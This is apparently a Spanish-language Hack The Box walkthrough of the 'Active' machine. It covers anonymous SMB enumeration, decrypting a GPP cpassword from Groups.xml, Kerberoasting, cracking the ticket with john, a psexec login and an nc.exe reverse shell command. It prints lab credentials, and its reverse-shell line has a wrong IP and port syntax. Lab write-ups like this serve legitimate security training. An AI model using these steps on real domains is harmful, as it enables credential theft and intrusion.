# Active

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FKB6BlDXozRnlZZQxA368%2Factive.png?alt=media&#x26;token=dba21934-ccb3-46e2-bc9a-cbb82cb3f3ed" alt=""><figcaption></figcaption></figure>

En esta publicación, abordaremos la máquina "Active" de la plataforma Hack The Box. Iniciaremos con la enumeración de recursos compartidos a través del protocolo SMB, lo que nos permitirá obtener el archivo `Groups.xml`. Dentro de este archivo, encontraremos una contraseña que podremos descifrar, ya que la clave de cifrado es conocida públicamente. Finalmente, realizaremos un ataque de Kerberoasting para obtener un hash TGS de Kerberos, que podremos crackear para obtener la contraseña del usuario Administrador.

## Reconocimiento

Iniciamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.<br>

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FrhpWhgbgmf4wazyEstnv%2Fimage.png?alt=media&#x26;token=d6ab815e-f8e5-4dd4-9641-29645466a4c1" alt=""><figcaption><p>Reconocimiento utilizando el comando ping</p></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

## Enumeración

### Enumeración de versión y servicio

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

```bash
nmap -sS -sCV -p- --open --min-rate 5000 10.10.10.100 -n -Pn -oN targeted -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FANmxuPtl2E8QNr8HIqgR%2Fimage.png?alt=media&#x26;token=ed359e23-ad20-4cfa-a19e-e91ac3b7d7ae" alt=""><figcaption><p>Descubrimiento de versión y servicio con nmap</p></figcaption></figure>

Antes de comenzar a enumerar, ingresamos en nuestro archivo `/etc/hosts` la siguiente linea para que cuando hagmos referencia `active.htb` resuelva a la IP `10.10.10.100`.

```bash
echo '10.10.10.100 active.htb' >> /etc/hosts
```

### Enumeración de recursos compartidos

Comenzamos enumerando recursos compartidos através del protocolo SMB utilizando una Null Session.

Podemos observar, que tenemos permisos de lectura al recurso compartido `Replication`.

```basic
nxc smb 10.10.10.100 -u '' -p '' --shares
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F1WQxv4jhHGZBTSyYlxue%2Fimage.png?alt=media&#x26;token=8893405f-af1f-4695-8d84-2239c3de67be" alt=""><figcaption><p>Enumeración de recursos compartidos con netexec</p></figcaption></figure>

También podemos enumerar utilizando otras herramientas como `smbmap`.

```bash
smbmap -u '' -p '' -H 10.10.10.100
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FlI45GAMQms8v8V8jshdR%2Fimage.png?alt=media&#x26;token=4b3d9f6b-d148-4863-bf27-b623673f0a50" alt=""><figcaption><p>Enumeración de recursos compartidos con smbmap</p></figcaption></figure>

Enumeramos de forma recursiva el recurso `Replication`.

```bash
smbmap -u '' -p '' -H 10.10.10.100 -r 'Replication'
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FHVgmpzTqMfqEAL84Oey6%2Fimage.png?alt=media&#x26;token=dc710b42-501e-4f6b-897a-6cbc505e5f63" alt=""><figcaption><p>Enumeración del recurso compartido <code>Replication</code></p></figcaption></figure>

Observamos que dentro existe un directorio llamado `active.htb`.

Continuamos enumerando y nos encontramos con tres subdirectorios.

```bash
smbmap -u '' -p '' -H 10.10.10.100 -r 'Replication/active.htb'
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FjzQszrUai9ECGWbvMZ71%2Fimage.png?alt=media&#x26;token=efa47b3d-3b48-4797-94a6-dd7ee31d6098" alt=""><figcaption><p>Enumeración del recurso compartido <code>Replication</code></p></figcaption></figure>

Si seguimos enumerando, nos encontramos con un archivo llamdo `Groups.xml`.

```bash
smbmap -u '' -p '' -H 10.10.10.100 -r 'Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/'
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fs4ZtPnjHhsiltUVQ6Dso%2Fimage.png?alt=media&#x26;token=2a7121e9-bd56-464b-ba4d-e11a349bda69" alt=""><figcaption><p>Groups.xml</p></figcaption></figure>

Descargamos este archivo a nuestra máquina utilizando `sqlmap`.

```bash
smbmap -u '' -p '' -H 10.10.10.100 --download 'Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml'
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FVCZcKN2qcWVGMCQ50Brb%2Fimage.png?alt=media&#x26;token=91b6bdd4-b4ad-463a-948b-47b6f7efcc0b" alt=""><figcaption><p>Groups.xml</p></figcaption></figure>

Renombramos el archivo a `Groups.xml` para mayor facilidad.

```
mv 10.10.10.100-Replication_active.htb_Policies_\{31B2F340-016D-11D2-945F-00C04FB984F9\}_MACHINE_Preferences_Groups_Groups.xml Groups.xml
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FkEvpv3TSNzzCfJygck9w%2Fimage.png?alt=media&#x26;token=9518bc33-28f9-4294-bfb3-4b66e1f05b7b" alt=""><figcaption><p>Groups.xml</p></figcaption></figure>

## Explotación

### Archivo Groups.xml de Active Directory

El archivo `Groups.xml` es parte de la política de preferencias de grupo (GPP) en Active Directory. Este archivo se utiliza para configurar y administrar los grupos locales en los equipos dentro de un dominio de Active Directory. Las políticas de preferencias de grupo permiten a los administradores establecer configuraciones y preferencias de manera centralizada que se aplican a los usuarios y equipos.

Dentro de `Groups.xml`, se pueden especificar acciones como crear, modificar o eliminar cuentas de usuarios locales y grupos en los equipos del dominio. El archivo está ubicado generalmente en la ruta:

```powershell
\\<domain>\SYSVOL\<domain>\Policies\{<GUID>}\Machine\Preferences\Groups\Groups.xml
```

Este archivo contiene la configuración específica para los grupos, incluyendo nombres de usuarios, grupos, contraseñas y otros parámetros.

### Campo `cpassword`

El campo `cpassword` dentro del archivo `Groups.xml` contiene la contraseña encriptada para las cuentas de usuario configuradas a través de las preferencias de grupo. La encriptación utilizada para este campo es bastante débil y utiliza una clave estática conocida. La contraseña se encripta usando AES-256, pero la clave de cifrado está embebida en las herramientas de administración de GPP y es conocida públicamente.

Para crackear el `cpassword`, podemos utilizar la herramienta [gpp-decrypt](https://github.com/t0thkr1s/gpp-decrypt).

```bash
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FshKg1S68LVoBUKh7oXRo%2Fimage.png?alt=media&#x26;token=5a44a5b5-cec6-43c2-939f-f74f8686d2f7" alt=""><figcaption><p>Crackeamos el cpassword utilizando la herramienta gpp-decrypt</p></figcaption></figure>

Validamos las credenciales contra el dominio utilizando`netexec`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fsg54vtwWtplPO3X0F7NY%2Fimage.png?alt=media&#x26;token=58cf2aec-5c88-4bf5-aa51-140e65400000" alt=""><figcaption><p>Validamos las credenciales contra el dominio utilizando <code>netexec</code>.</p></figcaption></figure>

### Kerberoasting

Ahora que tenemos credenciales validas del dominio, podemos intentar realizar un ataque de Kerberoasting. Además, si miramos el nombre del usuario vemos que el sufijo del mismo nos da a entender que este puede solicitar TGS (Ticket Granting Service) de Kerberos, para lo cual podemos hacer lo siguiente utilizando la herramienta `impacket-GetUserSPNs`:

```bash
impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -outputfile krb.txt
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FeFA4iu2k2zmYeJhkN2hn%2Fimage.png?alt=media&#x26;token=687f0575-641b-412b-8f4e-3eb0c0bad8d1" alt=""><figcaption><p>TGS</p></figcaption></figure>

Ahora, podemos hacer uso de `john` o `hashcat` para crackear el hash y obtener la contraseña en texto claro.

```bash
john krb_tgs.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FQlkLQgtoEnoPnlOVp3Vk%2Fimage.png?alt=media&#x26;token=e11d160d-7908-45a4-bbfd-ab63e9d806b1" alt=""><figcaption><p>Cracking Kerberos Ticket TGS con <code>john</code></p></figcaption></figure>

Validamos las credenciales contra el dominio.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FMT0lklTeSSIensI7yKAn%2Fimage.png?alt=media&#x26;token=161f3a6e-f137-4eec-98ef-c5b63cc6d3aa" alt=""><figcaption><p>Validamos las credenciales con <code>netexec</code></p></figcaption></figure>

Genial, nos indica que son validas y además **Pwn3d!**, lo cual nos permite conectarnos a la máquina usando `psexec`.

Nos conectamos a la máquina víctima.

```bash
impacket-psexec Administrator:Ticketmaster1968@10.10.10.100
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FyRpdXdZaaXK6LgUiEx6E%2Fimage.png?alt=media&#x26;token=92cf78ef-b027-4487-866c-aef90fef6b81" alt=""><figcaption></figcaption></figure>

Para tener una consola más interactiva, nos compartimos el binario de `nc.exe` con un recurso compartido desde nuestra máquina utilizando `impacket-smbserver`:

Creamos un recurso compartido

```bash
impacket-smbserver -smb2support sharedFolder .
```

Decargamos el binario de netcat.

```
copy \\10.10.14.3\sharedFolder\nc.exe .
```

Nos ponemos en escucha con netcat por el puerto 443.

```bash
rlwrap nc -lnvp 443
```

Enviamos la reverse shell

```
nc.exe -e cmd 10.10.10.100 -443
```

Ganamos acceso al sistema.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FeojRuYxqnEjdewwlgdgD%2Fimage.png?alt=media&#x26;token=197136da-f6a8-430e-ae3a-8bedf65e34aa" alt=""><figcaption><p>Ganamos acceso a la máquina víctima</p></figcaption></figure>

De esta forma, ya podemos leer las flags de `user.txt` y `root.txt`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fbs02yOexe0On0TNqhfy2%2Fimage.png?alt=media&#x26;token=8b4b00ad-226d-4ec9-8a64-0577d8baa12c" alt=""><figcaption><p>Flags</p></figcaption></figure>

Concluimos la resolución de una nueva máquina.

Espero que hayas disfrutado del contenido y que los conceptos hayan quedado claros.

¡Gracias por leer!

Happy Hacking!
